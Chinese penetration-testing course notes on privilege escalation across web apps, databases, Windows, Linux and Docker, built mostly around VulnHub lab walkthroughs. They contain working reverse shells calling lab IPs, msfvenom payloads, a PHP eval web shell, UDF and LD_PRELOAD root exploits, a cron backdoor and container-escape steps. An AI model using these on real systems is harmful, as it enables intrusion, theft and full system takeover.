#基础点:
0、为什么我们要学习权限提升转移技术:
简单来说就是达到目的过程中需要用到它
1、具体有哪些权限需要我们了解掌握的:
后台权限,数据库权限,Web权限,用户权限,
服务器权限,宿主机权限,域控制器权限等
2、以上常见权限获取方法简要归类说明:
后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
服务器权限:系统内核漏洞,钓鱼后门攻击,主机软件直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产入口后提升)
域控制器权限:内网域用户提升或自身内核漏洞,后门攻击,主机软件安全直达
3、以上常见权限获取后能操作的具体事情:
后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(权限配置为主)
用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
服务器权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)
4、以上常见权限在实战中的应用场景介绍:
当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
#权限提升-Web应用&中间件&数据库
背景1:通过弱口令进入Web后台系统通过上传获取Web权限
背景2:通过Tomcat弱口令进入控制界面通过上传获取Web权限
背景3:通过Redis未授权进入管理端通过SQL执行获取Web权限
#权限转移-后台管理&数据库管理&Web
常见思路 : 拿到后台管理权限后,看看有没有利用的点,下一步是接管他的web权限,拿到web权限以后去找寻数据库权限。 (连接数据库的时候不要在本地连接,最好使用webshell管理工具去连接,涉及到拒绝连接,白名单,安全组,又比如mysql默认拒绝外连 )
根据掌握的信息和收集的信息来测试
Tmall-后台权限->Web权限(提升)
Tmall-Web权限->数据库权限(转移)
Tmall-Web权限->另一个后台权限(转移)
PhpMyadmin-数据管理->Web权限(提升)
PhpMyadmin-Web权限->另一个后台权限(转移)
Tomcat-Docker应用-宿主机(差异)
Php&Java-中间件应用-用户权限(差异)
1、Web搭建平台差异
集成软件:宝塔,PhpStudy,XAMMP等
自行搭建:自己一个个下载安装搭建配置
虚拟技术:Docker,ESXi,QEMU,Hyper-V等
环境系统:某OA系统(通达,畅捷通,蓝凌等)
2、Web语言权限差异
ASP/ASP.NET/PHP/JSP等
权限高低:JSP>ASP.NET>ASP=PHP
3、系统用户权限差异
Windows:
System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。
Administrators:管理员组,具有对计算机进行完全访问和操作的权限。
Users:用户组,一般用户的默认组别,拥有较低的系统权限。
Guests:
访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。
Backup Operators:
备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。
Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。
Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。
Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。
Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。
Distributed COM Users:
分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。
IIS_IUSRS: 用于授权IIS相关服务的用户组。
#Windows提权(Web基点,自主搭建)
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
土豆(Potato)提权通常用在我们获取WEB/数据库权限的时候,
可以将低权限的服务用户提升为”NT AUTHORITY\SYSTEM”特权。
1、Test in:Windows 2008 Datacenter
2、Test in:Windows 2012 Datacenter
3、Test in:Windows 2016 Datacenter
4、Test in:Windows 2019 Datacenter
5、Test in:Windows 2022 Datacenter
6、Test in:Windows 2025 Datacenter
测试环境:
Windows Server系列-IIS+ASP.NET
https://github.com/MzHmO/Exploit-Street
https://github.com/ycdxsb/WindowsPrivilegeEscalation
土豆家族
CandyPotato(常用)
https://github.com/klezVirus/CandyPotato
PetitPotato(常用)
https://github.com/wh0amitz/PetitPotato
SweetPotato
RoguePotato
BadPotato
EfsPotato
GodPotato
PetitPotato
MultiPotato
CandyPotato
RasmanPotato
CoercedPotato
JuicyPotatoNG
PrintNotifyPotato
GodPotato
https://github.com/BeichenDream/GodPotato
SweetPotato
https://github.com/CCob/SweetPotato
RoguePotato
https://github.com/antonioCoco/RoguePotato
BadPotato
https://github.com/BeichenDream/BadPotato
EfsPotato
https://github.com/zcgonvh/EfsPotato
MultiPotato
https://github.com/S3cur3Th1sSh1t/MultiPotato
RasmanPotato
https://github.com/crisprss/RasmanPotato
JuicyPotatoNG
https://github.com/antonioCoco/JuicyPotatoNG
PrintNotifyPotato
https://github.com/BeichenDream/PrintNotifyPotato
CoercedPotato
https://github.com/Prepouce/CoercedPotato
#Web到Win-系统提权-溢出漏洞
1、MSF/CS等C2集成的插件提权
2、手工筛选EXP提权
0、MSF安装:(也可以用kali)
目前的msf版本有bug可以TB上购买pro版本嘎嘎稳
https://blog.csdn.net/qq_46717339/article/details/122653084
1、生成反弹后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe
2、配置监听会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit
2.1、筛选EXP模块
全自动:快速识别系统中可能被利用的漏洞
use post/multi/recon/local_exploit_suggester
set showdescription true
3、利用EXP溢出提权
background
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
exploit
#Web到Win-系统提权-集成软件
1、Windows Server(宝塔Apache+PHP)
BypassOpenBaseDir
BypassDisableFunction
2、Windows Server(PHPStudy小皮面板)
#Web到Win-系统提权-环境系统
1、用友畅捷通T-V17(.NET)
2、通达OA(PHP)
数据库提权流程:
1、先获取到数据库用户密码
-网站存在SQL注入漏洞
-数据库的存储文件或备份文件
-网站应用源码中的数据库配置文件
-采用工具或脚本爆破(需解决外联问题)
2、利用数据库提权项目进行连接
MDUT
Databasetools
RequestTemplate
https://github.com/SafeGroceryStore/MDUT
https://github.com/Hel10-Web/Databasetools
https://github.com/1n7erface/RequestTemplate(失效)
https://github.com/DeEpinGh0st/MDUT-Extend-Release
3、可利用建立代理解决不支持外联
-利用已知Web权限建立代理(等同于本地连接)
-利用已知权限执行SQL开启外联(让数据库支持外联)
GRANT ALL PRIVILEGES ON . TO ‘帐号’@’%’ IDENTIFIED BY ‘密码’ WITH GRANT OPTION;
flush privileges;
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE;
EXEC sp_configure ‘Ad Hoc Distributed Queries’, 1;
RECONFIGURE;
ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;
SHUTDOWN IMMEDIATE;
STARTUP;
4、可利用数据库提权类型条件及技术
-MYSQL:PHP+MYSQL 以web入口提权
条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)
技术:UDF MOF 启动项 反弹Shell
-MSSQL:.NET+MSSQL 以web入口提权
条件:sa密码
技术:xp_cmdshell sp_oacreate CLR 沙盒
-Oracle:JSP+Oracle 以web入口提权
条件:数据库用户密码
技术:DBA,普通用户,注入模式
-PostgreSQL
Web到系统
条件:数据库用户密码
技术:CVE-2019-9193 UDF libc
复现镜像:
https://market.aliyun.com/products/56024006/cmjj016247.html
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM ‘id’;
SELECT * FROM cmd_exec;
-Redis
数据库到Linux
条件:利用未授权或密码连接后执行
见第78天课程内容-只适用Linux
技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行
复现搭建:
yum groupinstall “Development Tools”
yum install -y tcl
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
/redis-server
-Memcached
数据库到Linux
条件:设置远程可访问或取得本地权限后访问
是一套常用的key-value缓存系统,由于它本身没有权限控制模块,
服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。
复现镜像:
https://market.aliyun.com/products/56024006/cmjj017529.html
案例参考:
https://mp.weixin.qq.com/s/V_p1heyM-2HxsaFLRs9qeg
开启命令:
systemctl start memcached.service
关闭命令:
systemctl stop memcached.service
查看状态:
systemctl status memcached.service
#第三方软件提权:
远控类:Teamviewer 向日葵 Todesk VNC Radmin等
密码类:各大浏览器 Xshell Navicat 3389 等
服务类:FileZilla Serv-u Zend等
文档类:Winrar WPS Office等
社交类:QQ 微信 钉钉等
原理:
1、通过普通用户或Web用户收集或提取有价值凭据进行提升
2、通过普通用户或Web用户上传类似钓鱼文件等待管理提升
应用场景:
1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。
2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。
主要当前技术入口点:
-当前权限由钓鱼攻击获取
主要当前技术应用点:
-当前受控机在内网域环境
1、提权system与内网交互
2、降权到域用户与内网交互
#服务启动(提权)
sc是用于与服务控制管理器和服务进行通信的命令行程序。
适用版本:windows 7、10、08、12、16、19、22,早期用at命令
1、创建一个名叫syscmd的执行文件服务
sc Create syscmd binPath= “c:\msf.exe”
2、运行服务
sc start syscmd
#远程控制(提权)
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd #调用运行cmd
#进程注入(降权&提权)
MSF:
ps //查看进程
migrate PID //迁移对应PID
CS:
ps //查看进程
inject PID //注入对应PID
#令牌窃取(降权&提权)
MSF:
use incognito
list_tokens -u
impersonate_token “NT AUTHORITY\SYSTEM”
CS:
ps //查看进程
steal_token PID //窃取进程令牌
spawnu PID //窃取进程令牌上线
VShell搭建使用:
https://mp.weixin.qq.com/s/kKS4R46FuX64WOOCDjXDxg
“exec format error” 运行了ARM64架构的程序
修复:apt install qemu-user-static
应用场景:
1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。
2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。
#Windows-BypassUAC
为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制
在用户到系统权限自动提权中也学通过BypassUAC实现自动化提权
绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)
开启UAC和未开启UAC时,默认getsystem提权影响(进程注入等)
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f exe -o msf.exe
UACME项目:https://github.com/hfiref0x/UACME
Akagi64.exe 编号 调用执行文件
#Windows-DLL劫持提权
首先判定目标属于第三方软件的应用提权,再去判断目标有没有exe程序,再去判断exe程序会加载那些dll,尝试我们能够操纵哪些dll,如果能操作条件即可满足
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-等待启动应用成功
检测:ChkDllHijack 火绒剑
项目:https://github.com/anhkgg/anhkgg-tools
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o xx.dll
提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用
#Windows-不带引号服务路径
原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行
过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功
检测命令:
wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\”
上传反弹exe,设置好对应执行名后,执行sc start “xxx”
#Windows-不安全的服务权限
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
检测脚本:accesschk.exe -uwcqv “administrator” *
docs.microsoft.com/en-us/sysinternals/downloads/accesschk
sc config “test” binpath= “C:\Program.exe”
sc start test
#综合类检测项目:
https://github.com/carlospolop/PEASS-ng
PEAS-ng适用于Windows和Linux/Unix*和MacOS的权限提升工具。
winPEAS.bat > result.txt
winPEASany.exe log=result.txt
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
#信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep “Linux version”
#内核漏洞筛选:
提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
综合脚本:
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
#应用场景:
获取到Web权限在Linux服务器上时进行的内核漏洞提权
#常见内核漏洞案例:
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
CVE-2025-6018
CVE-2025-21756
CVE-2025-32462
…
#Linux系统提权-Web&内核溢出-Dcow
复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集:
nmap -p1-65535 192.168.xx.xx/24
2、Web漏洞利用:
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.xx.xx
set rport 1898
run
3、内核提权:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c ‘import pty; pty.spawn(“/bin/bash”)’
./dcow
su root
#Linux系统提权-Web&内核溢出-Pwnkit
复现环境:https://www.vulnhub.com/entry/darkhole-1,724/
1、信息收集:
nmap -p1-65535 192.168.xx.xx/24
2、Web漏洞利用:
重置管理密码-上传1.phtml-反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt
#Linux系统提权-Web&内核溢出-DirtyPipe
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757
1、信息收集:
nmap -p1-65535 192.168.xx.xx/24
2、Web漏洞利用
扫描发现-抓包分析-文件写入-反弹MSF
gobuster dir -u http://192.168.xx.xx -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
message=&file=xd.php
use exploit/multi/handler
set payload php/meterpreter/reverse_tcpF
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run
#补充
CVE-2023-0386
https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q
CVE-2025-6018
https://mp.weixin.qq.com/s/FFixFuNuBgg4Rh7KUVx0dg
CVE-2025-21756
https://mp.weixin.qq.com/s/N76Ll_XFydHOY4YjNk8Sig
#应用场景:
获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)
#利用参考:
#Suid
1、SUID&GUID
环境:https://www.vulnhub.com/entry/dc-1,292/
命令:SUID GUID
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
项目:LinEnum PEASS-ng
/usr/bin/find . -exec ‘/bin/sh’ \;
2、SUID&SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
第一个SUID:
/usr/bin/python2.7 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.139.141”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
第二个SUID:
/usr/bin/mawk ‘BEGIN {system(“/bin/sh”)}’
#Sudo(cve)
1、SUDO
环境:https://www.vulnhub.com/entry/toppo-1,245/
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
SUDO:
cat /etc/sudoers
/usr/bin/awk ‘BEGIN {system(“/bin/sh”)}’
2、SUDO
环境:https://www.vulnhub.com/entry/devguru-1,620/
-信息收集:
80,8585
http://192.168.xx.xx/adminer.php
http://192.168.xx.xx/backend/backend/auth
http://192.168.xx.xx:8585/admin
-git泄漏(利用点)
python GitHack.py http://192.168.xx.xx/.git/
-访问管理(Web入口):
adminer.php 添加用户名密码(给权限) 登录后台 模版 写入Shell
function onStart(){
//蚁剑连接
eval($_POST[“pass”]);
}
-找备份寻突破(升权):
/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹
https://www.bejson.com/encrypt/bcrpyt_encode
-利用Gitea拿权限(HOOK)
通过修改触发HOOK反弹权限
bash -c “exec bash -i >& /dev/tcp/192.168.xx.xx/5566 0>&1”
-利用sudo提权:
PEASS-ng检测或sudo -l(列出当前用户被允许或禁止执行的命令)
sudo -u#-1 sqlite3 /dev/null ‘.shell /bin/sh’
git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)
gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。
3、SUDO-CVE
环境:kali2020
sudo: 1.8.2 – 1.8.31p2
sudo: 1.9.0 – 1.9.5p1
-判断:sudoedit -s / 报错存在
-利用:
https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0
#Linux系统提权-Web&用户-NFS安全
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667
提升条件:NFS服务开启和web或用户权限进行利用
1、信息收集:
nmap 192.168.110.99
http://192.168.110.99/file.php?file=/etc/passwd
2、NFS服务利用
showmount -e 192.168.110.99
mkdir nfs
mount -t nfs 192.168.110.99:/mnt/nfs ./nfs
chmod 777 shell.php
3、配合SUID提权
注意gcc编译机器与目标机内核版本相似
#include
#include
int main()
{
setuid(0);
system(“id”);
system(“/bin/bash”);
}
gcc getroot.c -o getroot
cp getroot /root/nfs #复制bash到挂载目录下
chmod +s getroot #赋予suid权限
find / -perm -u=s -type f 2>/dev/null 再看看是否加入
cd /mnt/nfs # 目标机
./getroot # 目标机
#Linux系统提权-Web&用户-Cron任务
https://www.vulnhub.com/entry/jarbas-1,232
提升条件:Web或用户权限进行查看,任务文件可修改
1、信息收集:
http://192.168.110.140/access.html
2、权限获取:
Jenkins创建任务,添加反弹,立即构建
3、权限提升:
cat /etc/crontab
cat /etc/script/CleaningScript.sh #查看脚本内容
ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限
echo “/bin/bash -i >& /dev/tcp/192.168.110.131/66 0>&1” >> /etc/script/CleaningScript.sh
#Linux系统提权-Web&用户-PATH变量
https://www.vulnhub.com/entry/symfonos-1,322
提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限
1、信息收集:
smbclient -L 192.168.110.141
2、权限获取:
smbclient //192.168.110.141/anonymous
smbclient //192.168.110.141/helios -U helios
helios \ qwerty
3、漏洞利用
wpscan –url http://192.168.110.141/h3l105/ –plugins-detection aggressive
searchsploit mail masta 1.0
telnet 192.168.110.141 25
MAIL FROM: MALABIS
RCPT TO: helios
data
.
QUIT
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.110.131”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
4、权限提升:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
find / -perm -u=s -type f 2>/dev/null
strings /opt/statuscheck
cd /tmp
echo “/bin/sh” > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
#Linux系统提权-Web&用户-数据库类型
https://www.vulnhub.com/entry/raven-2,269
1、信息收集:
http://192.168.139.155/vendor/
2、Web权限获取:
searchsploit phpmailer
find / -name 40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py p.py
python p.py
3、MYSQL-UDF提权:
-编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
python -m http.server 8080
-下载到目标上
python -c ‘import pty; pty.spawn(“/bin/bash”)’
cd tmp
wget http://192.168.10.131:8080/udf.so
-连接进行导出调用
mysql -uroot -pR@v3nSecurity
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like ‘%basedir%’; #确认mysql安装位置
show variables like ‘%secure%’; #查看可导出文件位置
show variables like ‘%plugin%’; #查找插件位置
show variables like ‘%compile%’; #查看系统版本
use mysql;
# 创建xiaodi表
create table xiaodi(line blob);
# 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file(‘/tmp/udf.so’));
# 导出udf.so
select * from xiaodi into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;
# 创建do_system自定义函数
create function do_system returns integer soname ‘udf.so’;
select do_system(‘nc 192.168.10.131 6666 -e /bin/bash’);
#Linux系统提权-Web&用户-Capability能力
原理参考:https://www.cnblogs.com/f-carey/p/16026088.html
cp /usr/bin/php /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null
利用:/tmp/php -r “posix_setuid(0); system(‘id’);”
Hacker_Kid
WP参考:https://www.jianshu.com/p/60673ac0454f
环境:https://www.vulnhub.com/entry/hacker-kid-101,719/
saket
Saket!#$%@!!
{% import os %}{{os.system(‘bash -c “bash -i &> /dev/tcp/192.168.10.131/6688 0>&1″‘)}}
/sbin/getcap -r / 2>/dev/null
python -m http.server 8080
wget http://192.168.10.131:8080/inject.py
for i in ps -ef|grep root|grep -v “grep”|awk ‘{print $2}’; do python2.7 inject.py $i; done
nc 192.168.10.131 5600
结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用
#Linux系统提权-普通用户-LD_Preload加载
参考:https://www.cnblogs.com/backlion/p/10503985.html
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
shell.c
#include
#include
#include
void _init() {
unsetenv(“LD_PRELOAD”);
setgid(0);
setuid(0);
system(“/bin/sh”);
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
whoami
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
结论:sudo提权有限制,但是设置了LD_PRELOAD,那么只要有程序既可提权
LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。
LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。
LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。
Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。
#Linux系统提权-普通用户-LXD容器
原理:
LXD是基于LXC容器的管理程序,当前用户可操作容器,
理解为用户创建一个容器,再用容器挂载宿主机磁盘,
最后使用容器权限操作宿主机磁盘内容达到提权效果。
lxd本地提权条件:
-已经获得Shell
-用户属于lxd组
https://www.vulnhub.com/entry/ai-web-2,357
1、入口点:
User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf
2、检测及利用:
./LinEnum.sh
https://github.com/saghul/lxd-alpine-builder
3、创建容器,挂载磁盘,进入容器,进入目录提权
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz –alias test
lxc init test test -c security.privileged=true
lxc config device add test test disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh
cd /mnt/root/root
cat flag.txt
#Linux系统提权-普通用户-Docker容器
把一个普通账号test添加到docker组,
使用newgrp将root初始组切换为docker
usermod -G docker test
newgrp docker
su test
docker run -v /:/mnt -it alpine
Docker本地提权条件:
1、已经获得Shell
2、用户属于docker组
参考:云安全Docker容器逃逸
https://www.vulnhub.com/entry/chill-hack-1,622
1、入口点:
User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd
2、检测及利用:
./LinEnum.sh
3、创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root
#Linux系统提权-普通用户-Rbash绕过
参考:https://xz.aliyun.com/t/7642
Rbash(The Restricted mode of bash),也就是限制型bash
在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
sudoadduser xiaodisec
sudo usermod -s /bin/rbash xiaodisec
https://www.vulnhub.com/entry/funbox-rookie,520
1、入口点:
fscan -h 192.168.110.0/24
ftp 192.168.xx.xx
get tom.zip(iubire)
ssh tom@192.168.xx.xx -i id_rsa
2、Rbash绕过:
python -m http.server 8080
wget http://192.168.xx.xx:8080/LinEnum.sh
awk ‘BEGIN {system(“/bin/bash”)}’
3、历史泄漏提权:
./LinEnum.sh
cat /home/tom/.mysql_history
su root(xx11yy22!)
#宿主机虚拟技术提权
1、破解/etc/shadow
2、写到宿主机SSH密钥
3、写到宿主机计时任务
4、CVE漏洞直接利用反弹
复现环境:https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8
启动靶场:修改docker.yaml加入privileged: true 后启动docker-compose up -d
检测环境:cat /proc/1/cgroup | grep -qi docker && echo “Is Docker” || echo “Not Docker”
判断特权:cat /proc/self/status | grep CapEff
查看目录:fdisk -l
#逃逸后密钥提权:(Ubuntu复现)
1、特权逃逸:
mkdir /test && mount /dev/vda3 /test
2、判断结果:
ls /test/root
3、本地生成密钥文件:
ssh-keygen -b 4096 -t rsa
cat /root/.ssh/id_rsa.pub
4、将密钥写入目标宿主机
echo ‘id_rsa.pub的数据’ >/test/root/.ssh/authorized_keys
5、使用密钥文件连接目标
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx
#逃逸后计时任务提权(centos复现)
echo ‘* * * * * /bin/bash -i > /dev/tcp/xx.xx.xx.xx/xxxx 0>&1 2>&1’ >> /test/var/spool/cron/root
centos下路径
/var/spool/cron/root
ubuntu下路径
/var/spool/cron/crontabs/root
Alpine下路径
/etc/cron.d/root
debian下的路径(xxx可以是任意东西)
/etc/cron.d/xxx
*系统任务调度文件:/etc/crontab
#逃逸后破解密文提权
cat /test/etc/shadow
hashcat -m 1800 -a 0 密文文件 字典文件
*hashcat还支持自定义数字字符等位数爆破(后续讲到)
#CVE漏洞直接利用反弹
利用成功的前提:宿主机的内核有CVE漏洞
参考:https://mp.weixin.qq.com/s/tk5Ya8DzoKQTgqkotr_dkQ
#实战场景:
